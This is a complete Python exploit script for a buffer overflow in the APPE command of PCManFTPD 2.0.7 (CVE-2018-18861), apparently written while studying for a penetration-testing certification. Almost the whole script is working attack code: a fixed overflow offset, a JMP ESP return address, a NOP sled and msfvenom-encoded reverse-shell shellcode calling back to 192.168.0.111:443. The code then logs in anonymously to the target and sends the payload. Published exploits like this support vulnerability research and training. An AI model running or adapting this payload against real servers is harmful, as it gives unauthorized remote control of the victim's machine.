#!/usr/bin/python
# Exploit Title: PCManFTPD 2.0.7 Server APPE Command - Buffer Overflow Exploit
# Date: 30/10/2018
# Exploit Author: DC - Telspace Systems
# Vendor Homepage: http://pcman.openfoundry.org/
# Contact: services[@]telspace.co.za
# Version: 2.0.7
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: CVE-2018-18861
# Created in preparation for OSCE - DC - Telspace Systems
# Simple BOF for APPE command in PCManFTPD 2.0.7

import socket
import sys

#Exact match at offset 2005 (MSF pattern find)
#JMP ESP =  7E429353 (user32.dll)
#shellcode thanks to MSF - msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.111 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0A\x0D\xff" -e x86/shikata_ga_nai

shellcode = '\x41' * 2005
shellcode += '\x53\x93\x42\x7e'
shellcode += '\x90' * 50
shellcode += ("\xbe\xa3\x2b\xb0\x95\xda\xd4\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x83\xc0\x04\x31\x70\x0e\x03\xd3\x25\x52\x60\xef\xd2\x10"
"\x8b\x0f\x23\x75\x05\xea\x12\xb5\x71\x7f\x04\x05\xf1\x2d\xa9"
"\xee\x57\xc5\x3a\x82\x7f\xea\x8b\x29\xa6\xc5\x0c\x01\x9a\x44"
"\x8f\x58\xcf\xa6\xae\x92\x02\xa7\xf7\xcf\xef\xf5\xa0\x84\x42"
"\xe9\xc5\xd1\x5e\x82\x96\xf4\xe6\x77\x6e\xf6\xc7\x26\xe4\xa1"
"\xc7\xc9\x29\xda\x41\xd1\x2e\xe7\x18\x6a\x84\x93\x9a\xba\xd4"
"\x5c\x30\x83\xd8\xae\x48\xc4\xdf\x50\x3f\x3c\x1c\xec\x38\xfb"
"\x5e\x2a\xcc\x1f\xf8\xb9\x76\xfb\xf8\x6e\xe0\x88\xf7\xdb\x66"
"\xd6\x1b\xdd\xab\x6d\x27\x56\x4a\xa1\xa1\x2c\x69\x65\xe9\xf7"
"\x10\x3c\x57\x59\x2c\x5e\x38\x06\x88\x15\xd5\x53\xa1\x74\xb2"
"\x90\x88\x86\x42\xbf\x9b\xf5\x70\x60\x30\x91\x38\xe9\x9e\x66"
"\x3e\xc0\x67\xf8\xc1\xeb\x97\xd1\x05\xbf\xc7\x49\xaf\xc0\x83"
"\x89\x50\x15\x03\xd9\xfe\xc6\xe4\x89\xbe\xb6\x8c\xc3\x30\xe8"
"\xad\xec\x9a\x81\x44\x17\x4d\x6e\x30\x17\xe2\x06\x43\x17\xfd"
"\x6d\xca\xf1\x97\x81\x9b\xaa\x0f\x3b\x86\x20\xb1\xc4\x1c\x4d"
"\xf1\x4f\x93\xb2\xbc\xa7\xde\xa0\x29\x48\x95\x9a\xfc\x57\x03"
"\xb2\x63\xc5\xc8\x42\xed\xf6\x46\x15\xba\xc9\x9e\xf3\x56\x73"
"\x09\xe1\xaa\xe5\x72\xa1\x70\xd6\x7d\x28\xf4\x62\x5a\x3a\xc0"
"\x6b\xe6\x6e\x9c\x3d\xb0\xd8\x5a\x94\x72\xb2\x34\x4b\xdd\x52"
"\xc0\xa7\xde\x24\xcd\xed\xa8\xc8\x7c\x58\xed\xf7\xb1\x0c\xf9"
"\x80\xaf\xac\x06\x5b\x74\xdc\x4c\xc1\xdd\x75\x09\x90\x5f\x18"
"\xaa\x4f\xa3\x25\x29\x65\x5c\xd2\x31\x0c\x59\x9e\xf5\xfd\x13"
"\x8f\x93\x01\x87\xb0\xb1")

print "Connecting and sending buffer...\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.3',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('APPE ' + shellcode + '\r\n')
s.close()

print "Executed, check for shell."